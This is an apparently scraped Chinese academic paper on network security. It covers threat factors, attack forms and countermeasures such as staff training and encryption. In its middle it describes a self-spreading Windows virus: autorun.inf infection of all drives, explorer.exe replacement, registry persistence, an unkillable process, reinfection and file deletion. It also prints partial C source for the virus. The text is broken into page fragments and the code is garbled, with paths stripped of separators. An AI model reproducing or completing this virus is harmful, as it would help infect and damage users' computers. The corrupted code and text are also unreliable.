計(jì)算機(jī)網(wǎng)絡(luò)安全防范分析

1、 計(jì)算機(jī)網(wǎng)絡(luò)安全防范分析摘要：隨著計(jì)算機(jī)網(wǎng)絡(luò)技術(shù)的快速發(fā)展，網(wǎng)絡(luò)安全日益成為人們關(guān)注的焦點(diǎn)。本文分析了影響網(wǎng)絡(luò)安全的主要因素及攻擊的主要方式，從管理和技術(shù)兩方面就加強(qiáng)計(jì)算機(jī)網(wǎng)絡(luò)安全提出了針對(duì)性的建議。關(guān)鍵詞：計(jì)算機(jī)網(wǎng)絡(luò)；安全；管理；技術(shù)computer network security analysisma chuan,zhao jing(shenyang normal university,school of software,shenyang110034,china)abstract:with the rapid development of computer network techno

2、logy,network security is increasingly becoming the focus of attention.this paper analyzes the main factors affecting network security and attack the main form of targeted recommendations on enhancing computer network security,management and technical aspects.keywords:computer networks;security;manag

3、ement;technology一、影響網(wǎng)絡(luò)安全的主要因素計(jì)算機(jī)網(wǎng)絡(luò)所面臨的威脅是多方面的，既包括對(duì)網(wǎng)絡(luò)中信息的威脅，也包括對(duì)網(wǎng)絡(luò)中設(shè)備的威脅，但歸結(jié)起來，主要有三點(diǎn)：一是人為的無意失誤。如操作員安全配置不當(dāng)造成系統(tǒng)存在安全漏洞，用戶安全意識(shí)不強(qiáng)，口令選擇不慎，將自己的帳號(hào)隨意轉(zhuǎn)借他人或與別人共享等都會(huì)給網(wǎng)絡(luò)安全帶來威脅。二是人為的惡意攻擊。此外，軟件公司的編程人員為便于維護(hù)而設(shè)置的軟件“后門”也是不容忽視的巨大威脅，一旦“后門”洞開，別人就能隨意進(jìn)入系統(tǒng)，后果不堪設(shè)想。二、計(jì)算機(jī)網(wǎng)絡(luò)受攻擊的主要形式計(jì)算機(jī)網(wǎng)絡(luò)被攻擊，主要有六種形式。1.內(nèi)部竊密和破壞。內(nèi)部人員有意或無意的泄密、更改記錄信息或

4、者破壞網(wǎng)絡(luò)系統(tǒng)。2.截收信息。攻擊者可能通過搭線或在電磁輻射的范圍內(nèi)安裝截收裝置等方式，截獲機(jī)密信息或通過對(duì)信息流和流向、通信頻度和長(zhǎng)度等參數(shù)的分析，推出有用的信息。3.非法訪問。指未經(jīng)授權(quán)使用網(wǎng)絡(luò)資源或以未授權(quán)的方式使用網(wǎng)絡(luò)資源，主要包括非法用戶進(jìn)入網(wǎng)絡(luò)或系統(tǒng)進(jìn)行違法操作和合法用戶以未授權(quán)的方式進(jìn)行操作。下面簡(jiǎn)單的介紹一個(gè)簡(jiǎn)單的計(jì)算機(jī)病毒源代碼：（1）功能：1.在所有磁盤的根目錄生成和autorun.inf文件2.生成病毒體：c:windows；c:windowsexplorer.exe；c:windowssystem32dllcacheexplorer.exe；c:windowssyste

5、mmsmouse.dll；c:windowssystem32cmdsys.sys；c:windowssystem32mstsc32.exe3.病毒體c:windowsexplorer.exe感染原explorer.exe文件，使其不需要修改注冊(cè)表做到啟動(dòng)時(shí)在explorer.exe前啟動(dòng)4.修改注冊(cè)表，在hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun設(shè)置自啟動(dòng)項(xiàng)（此操作不使用windowsapi,防止用戶對(duì)病毒體的發(fā)現(xiàn)，并實(shí)現(xiàn)并行執(zhí)行）5.生成的autorun.inf改變磁盤的打開方式，使其在windows2000以上的系

6、統(tǒng)無論選擇“打開”、“雙擊”、“資源管理器”等方式都無法打開分驅(qū)，而是以運(yùn)行病毒的方式取而代之。6.連鎖能力，將病毒體相連，實(shí)現(xiàn)相連復(fù)制更新7.使用進(jìn)程不斷調(diào)用進(jìn)程，使得在任務(wù)管理里無法結(jié)束病毒進(jìn)程8.不斷搜索磁盤，只要發(fā)現(xiàn)未感染病毒的一律感染，病毒刪除后1秒內(nèi)再建9.生成垃圾文件（destory_感染_任意數(shù)字）5個(gè)于c盤下10.附帶刪除文件函數(shù)（為防止危害，本函數(shù)默認(rèn)不執(zhí)行）（2）心代碼：/*sk-chinasvchost virus write by s.kcompiler:dev-cpp 4.9.9.2*/* svchost.c*/* svchost.exe */* */#includ

7、e /*標(biāo)準(zhǔn)輸入輸出*/#include /*字符串操作*/#include /*其它函數(shù)*/#include /*進(jìn)程控制*/#include /*目錄函數(shù)*/#define svchost_num 6 /*關(guān)鍵位置病毒復(fù)制數(shù)量*/#define rubbish_num 5 /*垃圾文件數(shù)量*/#define remove_num 5 /*刪除文件數(shù)*/*=*/*文件autorun.inf內(nèi)容：1.自動(dòng)運(yùn)行2.覆蓋默認(rèn)打開命令，使用病毒體作為新的打開方式3.覆蓋默認(rèn)資源管理器命令，使病毒體作為新的命令方式*/char *autorun=“autorunnopen=” /s”nshellope

8、n=打開(&o)nshellopencommand=” /s”nshellexplore=資源管理器(&x)nshellexplorecommand=” /s”;/*=*/*添加注冊(cè)表項(xiàng)：1.自動(dòng)運(yùn)行生成病毒體c:windows*/char *regadd=“regedit4nn/*=*/*函數(shù)：通過explorer自動(dòng)運(yùn)行成功返回0，失敗返回1,2*/int autorun_explorer()file *input;if(input=fopen(“c:windowssystemexplorer.exe”,”rb”)!=null)fclose(input);remove(“c:windows

9、$temp$”);remove(“c:windowssystem32dllcache$temp$”);return 1;copy(“c:windowsexplorer.exe”,”c:windowssystemexplorer.exe”);rename(“c:windowsexplorer.exe”,”c:windows$temp$”);rename(“c:windowssystem32dllcacheexplorer.exe”,”c:windowssystem32dllcache$temp$”);if(copy(“”,”c:windowsexplorer.exe”)=0 & copy(“”,”c:windowssystem32dllcacheexplorer.exe”)=0)return 0;elsereturn 2;/*=*/*主程序 略三、加強(qiáng)計(jì)算機(jī)網(wǎng)絡(luò)安全的對(duì)策措施（一）加強(qiáng)網(wǎng)絡(luò)安全教育和管理。對(duì)工作人員結(jié)合機(jī)房、硬件、軟件、數(shù)據(jù)和網(wǎng)絡(luò)等各個(gè)方面安全問題，進(jìn)行安全教育，提高工作人員的安全觀念和責(zé)任心；加強(qiáng)業(yè)務(wù)、技術(shù)的培訓(xùn)，提高操作技能；教育工作人員嚴(yán)格遵守操作規(guī)程和各項(xiàng)保密規(guī)定，防止人為事故的發(fā)生。（二）運(yùn)用網(wǎng)絡(luò)加密技術(shù)。網(wǎng)絡(luò)信息加密的目的是保護(hù)網(wǎng)內(nèi)的數(shù)據(jù)、文件、口令和控制信息，保護(hù)網(wǎng)上傳輸?shù)臄?shù)據(jù)。加密數(shù)據(jù)傳輸主要有三種：1.鏈接加密。